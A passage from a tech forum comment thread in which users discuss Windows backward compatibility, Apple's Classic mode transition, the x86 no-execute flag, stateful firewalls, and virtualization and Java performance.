    While the SWT is pretty, it eats 120 megs of memory on my machine and a significant amount of CPU. The old standard BT client (whatever it's called) is more like 15 megs and much lighter on the CPU.

    Actually, at work recently we've had a bit of a shootout among various XML DOMs. Our C++ code runs about 4 times slower than (my) tighter C code. But the amazing thing is that some Java code, with a highly optimizing JVM, has beaten my C by about 50%. Of course, we aren't counting startup time, but still, that sucker is fast. We think it comes down to the JVM being optimized for the P4 while the best I can do with Microsoft Visual C++ is optimizing for the Pentium Pro.

  78. Re:Memory protection only on 64-bit platforms for by Carewolf · · Score: 3, Informative

    No one uses segmentation, so the feature is useless. The paging model for x86 have not had the benefit of a non-execution flag. This was introduced by AMD in x86-64, but unfortunately not copied by Intel in ia32e

  79. The reason MS was ok with 2000, but horrific now. by Eric_Cartman_South_P · · Score: 3, Insightful
    Ever since Win98, MS has the following attitude about code:

    Hack hack hack hack, remove hack, hack a hack, hack hack hack...

    Their code is SO CHOCK FULL OF HACKS to support older applications, and even hack to hack old hacks, that eventually the OS will crumble under its own weight.

    The Apple transistion from OS 9 to OS X was VERY slick. Give old apps a Classic mode, and as apps get rewritten you use the new rewritten version in the main OS, and only dip into Classic mode for the old/unconverted apps. After a few years, get rid of the Classic mode and yay, millions of people easily converted from one generation OS to the next. Watching Apple move people from OS 9 to OS X was what caught my eye and made me think "This company has a fucking clue!" And once I saw 10.3, I bought a Powerbook. Too good to refuse.

    With windows, it's still hack hack hack hack... I can't wait to be ENTERTAINED when Longhorn comes out. It's going to be a great laugh at that mess. And great for self employed geeks like me that work as consultants. MS makes a mess every couple of years, and that keeps us geeks paid cleaning up the mess.

    The fix, as I see it: MS, IMO, should write Longhorn without ANY HACKS for old apps, and include with the OS a free copy of Virtual PC running Windows XP. Treat Virtual PC (which they now own) as Apple did with their Classic mode.

    Of course, MS won't do this, and couldn't do it right if they tried, and at the end you still have a crappy OS full of security holes and a bad GUI. Oh well.

  80. They are talking about stateful firewalls by Sycraft-fu · · Score: 3, Informative

    This would be how any firewall worth it's shit works. Nothing is permitted incomming by default, unless there is a rule specifying otherwise. Now, when your computer goes and establishes a connection outgoing to another computer, that is permitted by default (unless there is a rule specifying otherwise).

    Question is, what happens when the data comes back? If your firewall just says "allow out, deny in" and simply evaluates each packet in a vaccuum, it would do no good. You could never establish communications since all inbound traffic would be dropped.

    So, what firewalls do is keep track of connections. You send a request to a webserver, it replies. The firewall, because it's stateful, knows that the reply is a response to your request, and permits it through. However, it's for that connection only. If the same server trys to poke at you, it'll get denied, while still allowing traffic for the web connection through.

    Thus a stateful firewall with two simple rules (allow out, deny in) can secure a desktop system pretty well. Anyone that pokes at the system will get nothing, but all requests that the user initiates will be allowed.

    The Windows XP firewall is a pretty simple one. By default, it does just this. You can also, if you like, specify inbound ports that are to be permitted at all times. So if you run an FTP server, you can specify that port 21 be permitted. However, in it's default config, it works great for most users. It's how I configure Kerio Personal Firewall for people, barring special needs.

  81. Wouldn't work by Sycraft-fu · · Score: 2, Interesting

    I mean, let's say that MS releases a new version of Windows that is totally incompatible with the old version. Nothing from the old version runs. What will happen? No one will buy it. It's not like the old version will stop working, they'll just keep using it.

    Even WITH all the backward compatibility they have all hell getting people to upgrade. NT4 is now about 8 years old. What's more, Windows 2000 or XP are basically ideal replacements for it. They support everything NT4 did and more. Also, since they are just newer versions of the same architecture, you have almost 0 compatibility problems. In fact there are plenty of Windows 95/98 apps that wouldn't run in NT4 that run fine in 2k/XP. Finally, MS has discontinued support of NT4, what with it being 8 years old and succeded by 2 OSes.

    So no one uses NT 4 any more, right? Wrong. There are still plenty of bussinesses that are dragging their feat and whining about MS cutting off support "so soon". Basically it comes down to money (they are too cheap to buy an upgrade) and the fact that it still works fine for them.

    So it is highly in MS's intrest to keep their OSes backward compatible. They want that all a customer's apps will run in the current version, so there is basically no excuse (other than money) not to upgrade.

    Also think about it: If MS totally broke compatibility with old versions, why not move to Linux? I mean either way you are talking needing all new apps, and Linux actually HAS some apps and is free.

    No, I imagine they'll continue to support legacy software to the best of their ability.

  82. Re:The reason MS was ok with 2000, but horrific no by burns210 · · Score: 2, Informative

    Good idea, however, don't use virtualpc. vpc emulates the hardware, while something like vmware, relies on the existing hardware. This is why you can't run windows on vmware in mac, but you can run windos in vmware for linux(on an x86 box) vmware-style is less work, and will be faster...

    O how i wish they would do this.

  83. Good by Kaboom13 · · Score: 3, Insightful

    MS is far from perfect, but worrying constantly about reverse compatibility is one of the major reasons windows is so insecure IMO. Microsoft can't take any big leaps in security as long as they have to work around 5 years of hacks and tweaks to keep things working. Microsoft seems to be doing a good job of giving developers fair warning. Furthermore, Windows actually has an excellent method for rolling back service packs, so even if it does break that mission critical app you can roll back and wait for an update.